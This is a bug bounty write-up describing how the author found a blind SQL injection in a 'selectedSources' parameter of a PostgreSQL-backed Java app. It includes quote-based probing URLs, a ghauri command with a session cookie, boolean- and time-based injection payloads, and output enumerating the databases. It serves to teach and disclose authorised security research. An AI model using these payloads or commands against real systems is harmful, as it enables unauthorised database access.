How I Got My First €€€€ Bounty
سَلامٌ
I’ll share In this write-up how I discovered my first €€€€ bounty.
Better reading experience > https://machiavelli.dev/How_I_Got_My_First_-_Bounty
At first, I started with a basic manual recon because the program scope was just a set of URLs related to different services, for example:
https://ex.admin.service.example.com/
https://ex.service.service.example.com/
https://ex.abc.service.example.com/
Also, the program provided credentials to test roles.
Then I browsed the sites while proxying the traffic through Burp and testing the functionalities like any normal user, but there were no interesting functionalities except the sorting one, I noticed some interesting parameters I already saw In some JS files the parameters were:
“SelectedSources, SelectedTemplateNames” at first I thought maybe It grabs some data from the database, so I decided to test It with some special characters searching for anomalies like {“, ‘ , \}, and when I entered a single quote I got 500 HTTP status code (Internal server error) then added another single quote I got 200 HTTP status code (OK).
https://ex.service.example.com/history?selectedSources=someSources' > 500
https://ex.service.example.com/history?selectedSources=someSources'' > 200
Sometimes, I enter backslash to confirm It, but here I got 400 bad request (It was a Java app runs on Apache tomcat so you should encode the backslash to %5c).
https://ex.service.example.com/history?selectedSources=someSources\' > 400
After that, I tried to run sqlmap to extract the database version but unfortunately, sqlmap didn’t extract anything except the DBMS was PostgreSQL, but I didn’t give up and used ghauri instead https://github.com/r0oth3x49/ghauri.git
ghauri -u "https://ex.service.example.com/history?selectedSources=someSources" --dbms=postgres --cookie="JSESSIONID=09326D266052B6B0F7E391B7BBD3A284" --dbs
BooM!
[09:22:32] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
Parameter: selectedSources (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: selectedSources=someSources') OR 06690=6690 OR ('04586'='4586
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind (comment)
Payload: selectedSources=someSources') AND 4564=(SELECT 4564 FROM PG_SLEEP(6)) OR ('04586'='4586
[09:22:33] [INFO] testing PostgreSQL
[09:22:34] [INFO] confirming PostgreSQL
[09:22:34] [INFO] the back-end DBMS is PostgreSQL
[09:22:34] [INFO] fetching database names
[09:22:34] [INFO] fetching number of databases
[09:22:51] [INFO] retrieved: 3
[09:26:01] [INFO] retrieved: information_schema
[09:27:51] [INFO] retrieved: pg_catalog
[09:28:57] [INFO] retrieved: public
available databases [3]:
[*] pg_catalog
[*] public
[*] information_schema
I reported It and In just one hour the triager forwarded the report to the company, and they acknowledged the vulnerability.
The next day, the company awarded me a bounty.
In the end, do not stick to just one tool, technique, or even a program that you don’t understand; that will burn you out. The internet is already a place filled with vulnerabilities.
Twitter/X: https://x.com/MachIaVellill
سَلامٌ